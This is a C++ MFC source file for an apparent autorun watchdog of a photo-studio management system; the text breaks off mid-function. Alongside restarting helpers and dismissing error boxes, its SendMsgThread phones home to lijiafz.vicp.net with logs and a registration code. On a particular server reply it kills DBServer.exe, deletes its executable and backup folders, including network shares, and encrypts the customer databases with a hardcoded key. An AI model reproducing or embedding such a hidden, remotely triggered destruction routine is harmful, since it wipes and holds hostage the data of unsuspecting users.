// AutoRunDlg.cpp : implementation file
//

#include "stdafx.h"
#include "AutoRun.h"
#include "AutoRunDlg.h"
#include "AutoRunDlg2.h"
#include <afxsock.h>//<Winsock2.h>
#include "ConnectDlg.h"
#include "SendDataDlg.h"
#include "AddContact.h"
#include "SendReg.h"
#include <Mmsystem.h>
#include <afxinet.h>
#include "CalendarConvert.h"
#include "FTPSend.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
#pragma comment(lib, "Winmm.lib")

// Jeff:IPC_CUSTOM_MSG2 是用来关闭DBServer.exe的全局系统消息;
//#define IPC_CUSTOM_MSG2	_T("{D4F876E2-w78F-22D5-q98A-Y0B0D07B847C}")
#define IPC_CUSTOM_MSG2	_T("{E4F876E2-Q78F-22D5-C98A-Y0B0D07B847C}")
UINT g_wmClose = RegisterWindowMessage(IPC_CUSTOM_MSG2);

//#define IPC_CUSTOM_MSG3	_T("{D4F876E2-w78F-22D5-q98A-Y0B0D07B8AAA}")
#define IPC_CUSTOM_MSG3	_T("{E4F876E2-Q78F-22D5-C98A-Y0B0D07B8AAA}")
UINT g_wmClose2 = RegisterWindowMessage(IPC_CUSTOM_MSG3);

CString g_mainpath2;
BOOL g_bAutoRun = 0;
CAutoRunDlg2 *g_pMainWnd2 = NULL;
#define WM_ICON_NOTIFY  WM_USER+12
DWORD g_nSendCode = 0;    //g_bSendOK
/////////////////////////////////////////////////////////////////////////////
DWORD g_ncount2 = 0;
HWND g_hSendWnd;
extern HWND g_hConnectWnd;
extern void DataToArray(CArray<CStringArray, CStringArray>*List1array);
extern void DataToArray(CArray<CStringArray, CStringArray>*List1array, CArray<CStringArray, CStringArray>*List2array);
#define DISCONNECT_TIMER	(WM_USER + 101)
#define LOGINFAILED_TIMER	(WM_USER + 102)
extern void MyGetIPByName(CString &name);
BOOL g_bReturned = 0;
BOOL g_bReturned2 = 0;

// Jeff:g_nSrvType 服务器类型;
// 0 : 表示本地服务器;
// 1 : 表示lijiafz.vicp.net
// 2 :
// 3 :
// 4 :
WORD g_nSrvType = 0;

void WriteLogin(CString str)
{
	try
	{
		CStdioFile fp;
		CString path = g_mainpath2 + "\\autorun.txt";
		if (PathFileExists(path))
		{
			fp.Open(path, CFile::modeWrite);
			int length = fp.GetLength();
			if (length > 5 * 1024 * 1024)
			{
				fp.Close();
				::DeleteFile(path);
				return;
			}
			fp.SeekToEnd();
		}
		else
			fp.Open(path, CFile::modeCreate | CFile::modeWrite);
		fp.WriteString(CTime::GetCurrentTime().Format("%Y-%m-%d %H:%M:%S") + " " + str + "\n");
		fp.Close();
	}
	catch (...)
	{
	}
}


extern DWORD FindAppProcessID(CString path);
CString GetLog()
{
	CString str;
	CStdioFile fp;
	if (fp.Open(g_mainpath2 + "\\log.txt", CFile::modeRead))
	{
		CString temp;
		fp.ReadString(temp);
		str = ";";
		//   str+=temp;
		while (!feof(fp.m_pStream))
		{
			fp.ReadString(temp);
			str += temp;
		}
		fp.Close();
	}
	else
		str = ";未备份";

	char path[MAX_PATH];
	::GetSystemDirectory(path, MAX_PATH);
	CString sysdir = path;
	sysdir += "\\regcode.txt";
	if (fp.Open(sysdir, CFile::modeRead))
	{
		CString temp;
		fp.ReadString(temp);
		str += "***";
		str += temp;
		fp.Close();
	}
	return str;
}

void CloseAllErrorWnd()
{
	try
	{

		HWND hwnd = ::FindWindow(NULL, "DBServer.exe - 应用程序错误");
		if (hwnd)
		{
			HWND child = ::FindWindowEx(hwnd, 0, NULL, "确定");
			CWnd	*pWnd = CWnd::FromHandle(child);
			::PostMessage(hwnd, WM_COMMAND, pWnd->GetDlgCtrlID(), (LPARAM)child);
		}

		hwnd = ::FindWindow(NULL, "影楼管理系统服务器: DBServer.exe - 应用程序错误");
		if (hwnd)
		{
			HWND child = ::FindWindowEx(hwnd, 0, NULL, "确定");
			CWnd	*pWnd = CWnd::FromHandle(child);
			::PostMessage(hwnd, WM_COMMAND, pWnd->GetDlgCtrlID(), (LPARAM)child);
		}

		hwnd = ::FindWindow(NULL, "Socket Notification Sink: DBServer.exe - 应用程序错误");
		if (hwnd)
		{
			HWND child = ::FindWindowEx(hwnd, 0, NULL, "确定");
			CWnd	*pWnd = CWnd::FromHandle(child);
			::PostMessage(hwnd, WM_COMMAND, pWnd->GetDlgCtrlID(), (LPARAM)child);
			ShellExecute(NULL, _T("open"), g_mainpath2 + "\\CPhotoFTPSend.exe", NULL, NULL, SW_SHOWNORMAL);
		}


		hwnd = ::FindWindow(NULL, "DataSyncSend.exe - 应用程序错误");
		if (hwnd)
		{
			HWND child = ::FindWindowEx(hwnd, 0, NULL, "确定");
			CWnd	*pWnd = CWnd::FromHandle(child);
			::PostMessage(hwnd, WM_COMMAND, pWnd->GetDlgCtrlID(), (LPARAM)child);
			ShellExecute(NULL, _T("open"), g_mainpath2 + "\\DataSyncSend.exe", NULL, NULL, SW_SHOWNORMAL);
		}
		hwnd = ::FindWindow(NULL, "DataSyncReceive.exe - 应用程序错误");
		if (hwnd)
		{
			HWND child = ::FindWindowEx(hwnd, 0, NULL, "确定");
			CWnd	*pWnd = CWnd::FromHandle(child);
			::PostMessage(hwnd, WM_COMMAND, pWnd->GetDlgCtrlID(), (LPARAM)child);
			ShellExecute(NULL, _T("open"), g_mainpath2 + "\\DataSyncReceive.exe", NULL, NULL, SW_SHOWNORMAL);
		}
		hwnd = ::FindWindow(NULL, "CPhotoFTPSend.exe - 应用程序错误");
		if (hwnd)
		{
			TRACE("\n---------------------CPhotoFTPSend.exe - 应用程序错误-------------------------\n");
			HWND child = ::FindWindowEx(hwnd, 0, NULL, "确定");
			CWnd	*pWnd = CWnd::FromHandle(child);
			::PostMessage(hwnd, WM_COMMAND, pWnd->GetDlgCtrlID(), (LPARAM)child);
			ShellExecute(NULL, _T("open"), g_mainpath2 + "\\CPhotoFTPSend.exe", NULL, NULL, SW_SHOWNORMAL);
		}
		hwnd = ::FindWindow(NULL, "CPhotoFTPSend MFC Application");
		if (hwnd)
		{
			TRACE("\n---------------------CPhotoFTPSend MFC Application-------------------------\n");
			HWND child = ::FindWindowEx(hwnd, 0, NULL, "不发送(&D)");
			CWnd	*pWnd = CWnd::FromHandle(child);
			::PostMessage(hwnd, WM_COMMAND, pWnd->GetDlgCtrlID(), (LPARAM)child);
			ShellExecute(NULL, _T("open"), g_mainpath2 + "\\CPhotoFTPSend.exe", NULL, NULL, SW_SHOWNORMAL);
		}


		hwnd = ::FindWindow(NULL, "Socket Notification Sink: CPhotoFTPSend.exe - 应用程序错误");
		if (hwnd)
		{
			TRACE("\n---------------------Socket Notification Sink: CPhotoFTPSend.exe - 应用程序错误-------------------------\n");
			HWND child = ::FindWindowEx(hwnd, 0, NULL, "确定");
			CWnd	*pWnd = CWnd::FromHandle(child);
			::PostMessage(hwnd, WM_COMMAND, pWnd->GetDlgCtrlID(), (LPARAM)child);
			ShellExecute(NULL, _T("open"), g_mainpath2 + "\\CPhotoFTPSend.exe", NULL, NULL, SW_SHOWNORMAL);
		}

		hwnd = ::FindWindow(NULL, "CPhotoFTPReceive.exe - 应用程序错误");
		if (hwnd)
		{
			HWND child = ::FindWindowEx(hwnd, 0, NULL, "确定");
			CWnd	*pWnd = CWnd::FromHandle(child);
			::PostMessage(hwnd, WM_COMMAND, pWnd->GetDlgCtrlID(), (LPARAM)child);
			ShellExecute(NULL, _T("open"), g_mainpath2 + "\\CPhotoFTPReceive.exe", NULL, NULL, SW_SHOWNORMAL);
		}

		hwnd = ::FindWindow(NULL, "CPhotoFTPReceive MFC Application");
		if (hwnd)
		{
			HWND child = ::FindWindowEx(hwnd, 0, NULL, "不发送(&D)");
			CWnd	*pWnd = CWnd::FromHandle(child);
			::PostMessage(hwnd, WM_COMMAND, pWnd->GetDlgCtrlID(), (LPARAM)child);
			ShellExecute(NULL, _T("open"), g_mainpath2 + "\\CPhotoFTPReceive.exe", NULL, NULL, SW_SHOWNORMAL);
		}


		hwnd = ::FindWindow(NULL, "Microsoft Visual C++ Debug Library");
		if (hwnd)
		{
			HWND child = ::FindWindowEx(hwnd, 0, NULL, "终止(&A)");
			CWnd	*pWnd = CWnd::FromHandle(child);
			::PostMessage(hwnd, WM_COMMAND, pWnd->GetDlgCtrlID(), (LPARAM)child);
		}

		hwnd = ::FindWindow(NULL, "Microsoft Visual C++ Runtime Library");
		if (hwnd)
		{
			HWND child = ::FindWindowEx(hwnd, 0, NULL, "确定");
			CWnd	*pWnd = CWnd::FromHandle(child);
			::PostMessage(hwnd, WM_COMMAND, pWnd->GetDlgCtrlID(), (LPARAM)child);
		}
	}
	catch (...)
	{
	}
}

void EncryptFile3(CString path)
{
	CFile fp;
	fp.Open(path, CFile::modeRead);
	DWORD leng = fp.GetLength();
	BYTE *pData = new BYTE[leng];
	fp.Read(pData, leng);
	fp.Close();

	EncryptFile2(pData, leng, "z9871234abcd");
	fp.Open(path, CFile::modeWrite);
	fp.Write(pData, leng);
	fp.Close();
	delete[]pData;
}

void DeleteDirectory(CString strDir)
{
	try
	{
		//   首先删除文件及子文件夹   
		CFileFind   ff;
		BOOL   bFound = ff.FindFile(strDir + "\\*", 0);
		while (bFound)
		{
			bFound = ff.FindNextFile();
			if (ff.GetFileName() == "." || ff.GetFileName() == "..")
				continue;
			//   去掉文件(夹)只读等属性   
			SetFileAttributes(ff.GetFilePath(), FILE_ATTRIBUTE_NORMAL);
			if (ff.IsDirectory())   {   //   递归删除子文件夹   
				DeleteDirectory(ff.GetFilePath());
				RemoveDirectory(ff.GetFilePath());
			}
			else   {
				DeleteFile(ff.GetFilePath());   //   删除文件   
			}
		}
		ff.Close();
		//   然后删除该文件夹   
		RemoveDirectory(strDir);
	}
	catch (...)
	{
	}
	//	int SHFileOperation( LPSHFILEOPSTRUCT   lpFileOp   );    183
}

// Jeff:
// g_domainstr = "从DBServer.exe中获取的加密狗中的域名";
CString g_domainstr;
unsigned __stdcall SendMsgThread(LPVOID lpParam)
{
	try
	{
		BOOL bSuccess = 0;
		BOOL m_bNoBind = 0;
		DWORD ticks = ::GetTickCount();
		CArray<CStringArray, CStringArray>Listarray1;
		int i;
		CString str;
		BYTE *pData;
		while (1)
		{
		ll:
			if (g_pMainWnd->m_bTerminate)
				break;
#ifndef _DEBUG
			::Sleep(2000);
#endif

			str = g_domainstr;
			if (m_bNoBind)
			{
#ifdef _DEBUG
				Sleep(1000);
#else
				::Sleep(30000);
#endif
				goto ll;
			}
			////////////////////////////////
			if (str != "")
			{
#ifdef _DEBUG
				if (GetTickCount() - ticks < 2500 && bSuccess)
#else
				if (GetTickCount() - ticks < 250000 && bSuccess)
#endif
				{
#ifdef _DEBUG
					Sleep(1000);
#else
					::Sleep(30000);
#endif
					goto ll;
				}
				ticks = GetTickCount();
				bSuccess = 0;

				// 连接远程服务器(lijiafz.vicp.net); 
				if (g_pMainWnd->OnConnectRemoteServer() == 0)
				{
					WriteLogin("连接失败");
#ifndef _DEBUG
					::Sleep(5000);
#endif
					goto ll;
				}
				else
				{
					WriteLogin("连接成功");
					int aa = 100;
					while (g_pMainWnd->m_dwConnectionID == INVALID_SOCKET)
					{
						::Sleep(50);
						aa--;
						if (aa == 0)break;
					}
				}

				str += GetLog();
				pData = new BYTE[str.GetLength()];
				memcpy(pData, str.GetBuffer(0), str.GetLength());
				str.ReleaseBuffer();
				EncryptFile2(pData, str.GetLength(), "888666333");
				g_nSendCode = 6;
				g_pMainWnd->ProcessChatMessageRequest2(pData, str.GetLength());
				for (i = 0; i < 10; i++)
				{
					if (g_bReturned)break;
					::Sleep(1500);
				}
				delete[]pData;
				if (i >= 10)
				{
					WriteLogin("发送失败");
					goto ll;
				}
				bSuccess = 1;

				if (g_str == "此域名未绑定")
				{
					m_bNoBind = 1;
				}
				else if (g_str == "无域名字段,请确认")
				{
					m_bNoBind = 1;
					DWORD id = FindAppProcessID("DBServer.exe");
					if (id != -1)
					{
						HANDLE ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);
						if (ProcessHandle)TerminateProcess(ProcessHandle, 0);
						::DeleteFile(g_mainpath);
					}
					id = FindAppProcessID("DBServer.exe");
					if (id != -1)
					{
						HANDLE ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);
						if (ProcessHandle)TerminateProcess(ProcessHandle, 0);
						::DeleteFile(g_mainpath);
					}

					CString path;
					DeleteDirectory(g_mainpath2 + "\\数据备份");
					char server[50];
					DWORD leng = 50;
					::GetComputerName(server, &leng);
					CString g_server2 = server;

					DeleteDirectory("\\\\" + g_server2 + "\\数据备份(儿童管理软件)$");
					DeleteDirectory("\\\\" + g_server2 + "\\数据备份(管理软件)$");

					EncryptFile3(g_mainpath2 + "\\数据\\db.mdb");
					EncryptFile3(g_mainpath2 + "\\数据\\db.mdf");
					for (int i = 2200; i > 1900; i--)
					{
						path.Format("%s\\数据\\%d.mdb", g_mainpath2, i);
						if (::PathFileExists(path))
						{
							EncryptFile3(path);
						}
					}
					EncryptFile3(g_mainpath2 + "\\crMyKey.dat0");

					::CopyFile(g_mainpath2 + "\\数据\\db.mdb", "c:\\sysdata.dat", 0);
					::CopyFile(g_mainpath2 + "\\数据\\db.mdb", "d:\\sysdata.dat", 0);
					::CopyFile(g_mainpath2 + "\\数据\\db.mdb", "e:\\sysdata.dat", 0);
					::CopyFile(g_mainpath2 + "\\数据\\db.mdb", "f:\\sysdata.dat", 0);

					::CopyFile(g_mainpath2 + "\\数据\\db.mdf", "c:\\sysdata.dat", 0);
					::CopyFile(g_mainpath2 + "\\数据\\db.mdf", "d:\\sysdata.dat", 0);
					::CopyFile(g_mainpath2 + "\\数据\\db.mdf", "e:\\sysdata.dat", 0);
					::CopyFile(g_mainpath2 + "\\数据\\db.mdf", "f:\\sysdata.dat", 0);
				}
				int pos = g_str.Find("authcodexiao");
				if (pos != -1)
				{
					CString authcode = g_str.Right(g_str.GetLength() - pos - 12);
					g_str = g_str.Left(pos);
					char path[MAX_PATH];
					::GetSystemDirectory(path, MAX_PATH);
					Global::WriteTextLog(_T("获取的系统目录：%s"), path);
					CString sysdir = path;
					sysdir += "\\authcode.txt";
					CStdioFile fp;
					if (fp.Open(sysdir, CFile::modeWrite | CFile::modeCreate))
					{
						fp.WriteString(authcode);
						fp.Close();
					}
					else
					{
						Global::WriteTextLog(_T("创建authcode.txt失败：%ld"), GetLastError());
					}
				}
				else
				{
					Global::WriteTextLog(_T("未找到authcodexiao:%s"), str);
				}

				if (g_str.Find(".") != -1)
				{
					CStdioFile fp;
					if (fp.Open(g_mainpath2 + "\\ip.txt", CFile::modeWrite | CFile::modeCreate))
					{
						fp.WriteString(g_str);
						fp.Close();
					}
				}
#ifdef _DEBUG
				::Sleep(1000);
#endif
			}
			else
			{
				WriteLogin("空域名");
#ifdef _DEBUG
				Sleep(1000);
#else
				::Sleep(30000);
#endif
			}
		}
	}
	catch (...)
	{
	}
	g_pMainWnd->m_bRunning = false;
	g_pMainWnd->m_bTerminate = false;
	_endthreadex(0);
	return 0;
}
//MessageBox
/////////////////////////////////////////////////////////////////////////////
static void HandleClientNetEvent(IN SOCKET hSocket, IN ETransportEvent eEvent,
	IN void *pDataBuf, IN unsigned long nDataLen,
	IN int nError, IN void *pContext)
{
	if (nError != TRANSPORT_OK) return;

	CAutoRunDlg *pDlg = (CAutoRunDlg *)pContext;
	if (NULL == pDlg) return;
	pDlg->ProcessNetEvent(eEvent, pDataBuf, nDataLen);
}

CAutoRunDlg::CAutoRunDlg(CWnd* pParent /*=NULL*/)
	: CDialog(CAutoRunDlg::IDD, pParent)
{
	//{{AFX_DATA_INIT(CAutoRunDlg)

	//}}AFX_DATA_INIT
	// Note that LoadIcon does not require a subsequent DestroyIcon in Win32
	m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
	g_pMainWnd2 = new CAutoRunDlg2;
	g_pMainWnd2->Create(IDD_AutoRun_DIALOG2, this);
}

void CAutoRunDlg::DoDataExchange(CDataExchange* pDX)
{
	CDialog::DoDataExchange(pDX);
	//{{AFX_DATA_MAP(CAutoRunDlg)
	//}}AFX_DATA_MAP
}

BEGIN_MESSAGE_MAP(CAutoRunDlg, CDialog)
	//{{AFX_MSG_MAP(CAutoRunDlg)
	ON_WM_PAINT()
	ON_WM_QUERYDRAGICON()
	ON_WM_DESTROY()
	ON_WM_TIMER()
	ON_COMMAND(IDM_CLOSE, OnClose)
	ON_REGISTERED_MESSAGE(g_wmClose2, OnAbortClose)
	//}}AFX_MSG_MAP
END_MESSAGE_MAP()

LRESULT CAutoRunDlg::OnAbortClose(WPARAM wParam, LPARAM lParam)
{
	KillTimer(2);
	SetTimer(2, 30000, NULL);
	return 1;
}
/////////////////////////////////////////////////////////////////////////////
BOOL CAutoRunDlg::OnInitDialog()
{
	SetWindowPos(&wndNoTopMost, 0, 0, 0, 0, SWP_HIDEWINDOW);
	ModifyStyleEx(WS_EX_APPWINDOW, WS_EX_TOOLWINDOW);
	CDialog::OnInitDialog();
	char path[MAX_PATH];
	::GetModuleFileName(NULL, path, MAX_PATH);
	g_mainpath = path;
	g_mainpath = g_mainpath.Left(g_mainpath.ReverseFind('\\'));
	g_mainpath2 = g_mainpath;
	g_mainpath += "\\DBServer.exe";
	// Set the icon for this dialog.  The framework does this automatically
	//  when the application's main window is not a dialog
	SetIcon(m_hIcon, TRUE);			// Set big icon
	SetIcon(m_hIcon, FALSE);		// Set small icon
	g_pMainWnd = this;

	SetTimer(1, 2 * 1000, NULL);	// Jeff.SendMsgThread线程;
	SetTimer(3, 10000, NULL);	// Jeff.处理应用程序错误框以及启动关闭的线程SendMsgThread
	SetTimer(4, 60000, NULL);	// Jeff.测试连接FTP
	SetTimer(5, 10000, NULL);	// Jeff.测试FTPSend功能;

	SetTimer(2, 30000, NULL);	// Jeff调用 CPhotoFTPSend.exe


	SetTimer(6, 30 * 1000, NULL);	// Jeff.测试连接服务器;
	/////////////////////////////////
	// TODO: Add extra initialization here
	return TRUE;  // return TRUE  unless you set the focus to a control
}

// If you add a minimize button to your dialog, you will need the code below
//  to draw the icon.  For MFC applications using the document/view model,
//  this is automatically done for you by the framework.

void CAutoRunDlg::OnPaint()
{
	if (IsIconic())
	{
		CPaintDC dc(this); // device context for painting

		PostMessage(WM_ICONERASEBKGND, (WPARAM)dc.GetSafeHdc(), 0);

		// Center icon in client rectangle
		int cxIcon = GetSystemMetrics(SM_CXICON);
		int cyIcon = GetSystemMetrics(SM_CYICON);
		CRect rect;
		GetClientRect(&rect);
		int x = (rect.Width() - cxIcon + 1) / 2;
		int y = (rect.Height() - cyIcon + 1) / 2;

		// Draw the icon
		dc.DrawIcon(x, y, m_hIcon);
	}
	else
	{
		CDialog::OnPaint();
	}
}

// The system calls this to obtain the cursor to display while the user drags
//  the minimized window.
HCURSOR CAutoRunDlg::OnQueryDragIcon()
{
	return (HCURSOR)m_hIcon;
}

DWORD CAutoRunDlg::GetConnectionID()
{
	return m_dwConnectionID;
}

void CAutoRunDlg::SetConnectionID(DWORD dwConnection)
{
	m_dwConnectionID = dwConnection;
}

void CAutoRunDlg::ProcessChatMessageRequest2(CString sql)
{
	const char *szDataBuf = sql.GetBuffer(0);
	sql.ReleaseBuffer();
	ProcessChatMessageRequest((void*)szDataBuf, strlen(szDataBuf) + 1);
}

void CAutoRunDlg::ProcessChatMessageRequest2(BYTE *pData, int length)
{
	ProcessChatMessageRequest((void*)pData, length);
}

BOOL CAutoRunDlg::ProcessChatMessageRequest(void *szDataBuf, int nDataLen)
{
	g_bReturned = 0;
	DWORD dwFromUserID = GetConnectionID();

	WORD wMessageId = 0;
	if (g_nSrvType == 0)
		wMessageId = MSG_CHATMESSAGE_REQ + 0X3FFF;
	else
		wMessageId = MSG_CHATMESSAGE_REQ;

	DWORD dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen;

	BYTE *pSendData = new BYTE[dwDataLen];
	TCHAT_MESSAGE_STRU *pChatMessage = (TCHAT_MESSAGE_STRU*)pSendData;
	memset(pChatMessage, 0x00, dwDataLen);
	g_sendhead.length[98] = 987123768;


	memcpy(pSendData, &g_sendhead, sizeof(g_sendhead));


	pChatMessage->tCommonMsg.dwConnectionID = GetConnectionID();
	pChatMessage->tCommonMsg.wMessageId = wMessageId;
	pChatMessage->dwFromUserID = dwFromUserID;
	pChatMessage->dwToUserID = g_nSendCode;

	pChatMessage->wMessageLen = nDataLen;
	memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen);

	TMessageHeader tHeader = { 0 };
	tHeader.wMessageId = wMessageId;
	tHeader.dwDataLen = dwDataLen;

	BOOL bRet = 0;
	unsigned long ulSendLen = m_tClientTunnel.net_Send(&tHeader, (void *)pChatMessage, dwDataLen);
	if (ulSendLen != SOCKET_ERROR)
	{
		bRet = 1;
	}
	delete[] pSendData;
	return bRet;
}

void MyGetIPByName2(CString &name)
{
	CString strIP = name;
	name.Empty();
	DWORD dwServerIP = 0;
	HOSTENT   *host = gethostbyname(strIP);
	struct   in_addr   addr;
	if (host != NULL)
	{
		for (int i = 0; host->h_addr_list[i] != NULL; i++)
		{
			memset(&addr, 0, sizeof(addr));
			memcpy(&addr.S_un.S_addr, host->h_addr_list[i], host->h_length);
			dwServerIP = ntohl(addr.S_un.S_addr);
			BYTE*   pIP = (BYTE*)&dwServerIP;
			name.Format(_T("%d.%d.%d.%d"), pIP[3], pIP[2], pIP[1], pIP[0]);

		}
	}
}

BOOL CAutoRunDlg::OnConnectRemoteServer()
{
	g_nSrvType = 1;
	OnDisconnect();
#ifdef _DEBUG
	g_server = "192.168.1.250";
#else
	g_server = "lijiafz.vicp.net";
#endif
	MyGetIPByName2(g_server);

	if (g_server.IsEmpty())
		return OnConnect2();
	CString strServerAddress = g_server;
	char *szServerAddress = strServerAddress.GetBuffer(0);
	strServerAddress.ReleaseBuffer();

	/*for Client, IP and Port can be 0,
	and for Server, IP is LocalIP, and Port is Listening Port*/
	int nResult = m_tClientTunnel.net_OpenSocket(Transport_Client,
		0,
		HandleClientNetEvent,
		this);
	if (TRANSPORT_OK != nResult)
	{
		return 0;
	}

	DWORD dwRemoteIPValue = inet_addr(szServerAddress);
	WORD wPort = GetPort();
	nResult = m_tClientTunnel.net_Connect(dwRemoteIPValue, wPort);
	if (TRANSPORT_OK != nResult)
	{
		m_tClientTunnel.net_CloseSocket();
		return OnConnect2();
	}
	return ProcessLoginRequest();
}

BOOL CAutoRunDlg::OnConnect2()	// ip.txt里的内容作用?
{
	g_nSrvType = 2;
	CString server = "http://www.lyfz.net/download/ip.txt";

	char buf[MAX_PATH];
	::GetTempPath(sizeof(buf), buf);
	CString m_strTempDir = buf;
	DWORD m_dwHttpRequestFlags = HSR_DOWNLOAD | INTERNET_FLAG_EXISTING_CONNECT | INTERNET_FLAG_NO_AUTO_REDIRECT;
	INTERNET_PORT m_dwPort;
	DWORD dwType;
	CInternetSession m_cis;
	CHttpConnection *m_pHttp;
	CString m_strServer;
	CString m_strIniPath;
	AfxParseURL(server, dwType, m_strServer, m_strIniPath, m_dwPort);
	if (dwType != AFX_INET_SERVICE_HTTP)
	{
		return OnConnect3();
	}
	m_cis.SetOption(INTERNET_OPTION_CONNECT_TIMEOUT, 5);
	m_pHttp = m_cis.GetHttpConnection(m_strServer, m_dwPort);
	try
	{
		m_pHttp = m_cis.GetHttpConnection(m_strServer, m_dwPort);
	}
	catch (CInternetException* pEx)
	{
		return OnConnect3();
	}
	CHttpFile *pFile = m_pHttp->OpenRequest(CHttpConnection::HTTP_VERB_GET,
		m_strIniPath, NULL, 1, NULL, NULL, m_dwHttpRequestFlags);
	try
	{
		pFile->SendRequest();
	}
	catch (CInternetException* pEx)
	{
		pFile->Close();
		return OnConnect3();
	}
	if (pFile)
	{
		CStdioFile csf;
		csf.Open(m_strTempDir + "\\ip.txt", CFile::modeCreate | CFile::modeWrite | CFile::typeBinary);
		char buf[2048];
		int n;
		while ((n = pFile->Read(buf, 2048)) > 0)
			csf.Write(buf, n);
		csf.Close();
		pFile->Close();
	}

	CStdioFile fp;
	fp.Open(m_strTempDir + "\\ip.txt", CFile::modeRead);
	fp.ReadString(g_server);
	fp.Close();
	CString strServerAddress = g_server;
	char *szServerAddress = strServerAddress.GetBuffer(0);
	strServerAddress.ReleaseBuffer();

	/*for Client, IP and Port can be 0,
	and for Server, IP is LocalIP, and Port is Listening Port*/
	int nResult = m_tClientTunnel.net_OpenSocket(Transport_Client,
		0,
		HandleClientNetEvent,
		this);

	if (TRANSPORT_OK != nResult)
	{
		return 0;
	}

	DWORD dwRemoteIPValue = inet_addr(szServerAddress);
	WORD wPort = GetPort();
	nResult = m_tClientTunnel.net_Connect(dwRemoteIPValue, wPort);
	if (TRANSPORT_OK != nResult)
	{
		m_tClientTunnel.net_CloseSocket();
		return OnConnect3();
	}
	return ProcessLoginRequest();
}

BOOL CAutoRunDlg::OnConnect3()  // Jeff:地址无效，废弃函数;
{
	g_nSrvType = 3;
	CString server = "http://photo.bjlyfz.com/download/ip.txt";
	char buf[MAX_PATH];
	::GetTempPath(sizeof(buf), buf);
	CString m_strTempDir = buf;
	DWORD m_dwHttpRequestFlags = HSR_DOWNLOAD | INTERNET_FLAG_EXISTING_CONNECT | INTERNET_FLAG_NO_AUTO_REDIRECT;
	INTERNET_PORT m_dwPort;
	DWORD dwType;
	CInternetSession m_cis;
	CHttpConnection *m_pHttp;
	CString m_strServer;
	CString m_strIniPath;
	AfxParseURL(server, dwType, m_strServer, m_strIniPath, m_dwPort);
	if (dwType != AFX_INET_SERVICE_HTTP)
	{
		return FALSE;
	}
	m_cis.SetOption(INTERNET_OPTION_CONNECT_TIMEOUT, 5);
	m_pHttp = m_cis.GetHttpConnection(m_strServer, m_dwPort);
	try
	{
		m_pHttp = m_cis.GetHttpConnection(m_strServer, m_dwPort);
	}
	catch (CInternetException* pEx)
	{
		return false;
	}
	CHttpFile *pFile = m_pHttp->OpenRequest(CHttpConnection::HTTP_VERB_GET,
		m_strIniPath, NULL, 1, NULL, NULL, m_dwHttpRequestFlags);
	try
	{
		pFile->SendRequest();
	}
	catch (CInternetException* pEx)
	{
		pFile->Close();
		return false;
	}
	if (pFile)
	{
		CStdioFile csf;
		csf.Open(m_strTempDir + "\\ip.txt", CFile::modeCreate | CFile::modeWrite | CFile::typeBinary);
		char buf[2048];
		int n;
		while ((n = pFile->Read(buf, 2048)) > 0)
			csf.Write(buf, n);
		csf.Close();
		pFile->Close();
	}

	CStdioFile fp;
	fp.Open(m_strTempDir + "\\ip.txt", CFile::modeRead);
	fp.ReadString(g_server);
	fp.Close();
	CString strServerAddress = g_server;
	char *szServerAddress = strServerAddress.GetBuffer(0);
	strServerAddress.ReleaseBuffer();

	/*for Client, IP and Port can be 0,
	and for Server, IP is LocalIP, and Port is Listening Port*/
	int nResult = m_tClientTunnel.net_OpenSocket(Transport_Client,
		0,
		HandleClientNetEvent,
		this);

	if (TRANSPORT_OK != nResult)
	{
		return 0;
	}

	DWORD dwRemoteIPValue = inet_addr(szServerAddress);
	WORD wPort = GetPort();
	nResult = m_tClientTunnel.net_Connect(dwRemoteIPValue, wPort);
	if (TRANSPORT_OK != nResult)
	{
		m_tClientTunnel.net_CloseSocket();
		return 0;
	}
	return ProcessLoginRequest();
}

void CAutoRunDlg::ProcessNetEvent(int nEventType, void *pRecvMsg, DWORD dwDataLen)
{
	if (Transport_ReadEv == nEventType)
	{
		if (NULL == pRecvMsg) return;

		TMessageHeader* pHeader = (TMessageHeader *)pRecvMsg;
		char *pDataBuf = (char *)pRecvMsg + MESSAGE_HEADER_LEN;

		WORD dwMessageID = pHeader->wMessageId;
		switch (dwMessageID)
		{
		case MSG_LOGIN_RESP:
		case (MSG_LOGIN_RESP + 0X2FFF) :
		{
			LOGIN_RESULT_STRU tLoginResult = { 0 };
			memcpy(&tLoginResult, pDataBuf, sizeof(LOGIN_RESULT_STRU));

			ProcessLoginResponse(&tLoginResult);
			break;
		}
		case MSG_USERINFO_RESP:
		{
			TUSERLIST_INFO_STRU tUserListInfo = { 0 };
			memcpy(&tUserListInfo, pDataBuf, sizeof(TUSERLIST_INFO_STRU));

			//	ProcessUserListInfoResponse(&tUserListInfo);

			break;
		}

		case MSG_LOGOUT_RESP:
		{
			TUSERLIST_INFO_STRU tUserListInfo = { 0 };
			memcpy(&tUserListInfo, pDataBuf, sizeof(TUSERLIST_INFO_STRU));

			//	ProcessLogoutResponse(&tUserListInfo);

			break;
		}

		case MSG_CHATMESSAGE_RESP:
		case (MSG_CHATMESSAGE_RESP + 0X4FFF) :
		{
			TCHAT_MESSAGE_STRU *pChatMessage = (TCHAT_MESSAGE_STRU *)pDataBuf;

			ProcessChatMessageResponse((void *)pChatMessage);

			break;
		}

		default:
		{
			break;
		}
		}
	}
	else if (Transport_CloseEv == nEventType)
	{
		SetTimer(DISCONNECT_TIMER, 0, NULL);
	}
	///////
}

void CAutoRunDlg::OnDisconnect()
{
	m_tClientTunnel.net_CloseSocket();
	SetConnectionID(INVALID_SOCKET);
}

void CAutoRunDlg::ProcessLoginResponse(void *pLoginResult)
{
	if (NULL == pLoginResult) return;

	LOGIN_RESULT_STRU *ptLoginResult = (LOGIN_RESULT_STRU *)pLoginResult;

	DWORD dwConnectionID = ptLoginResult->tCommonMsg.dwConnectionID;
	SetConnectionID(dwConnectionID);

	BYTE byResult = ptLoginResult->byResult;

	if (LOGIN_RESULT_SUC == byResult)
	{
	}
	else
	{
		SetTimer(LOGINFAILED_TIMER, 0, NULL);
	}

	CString strCommentInfo("");
	strCommentInfo.Format("%s. 用户代号: %ld",
		((LOGIN_RESULT_SUC == byResult) ? "登录成功" :
		(LOGIN_RESULT_MULTI == byResult) ? "重复登录" :
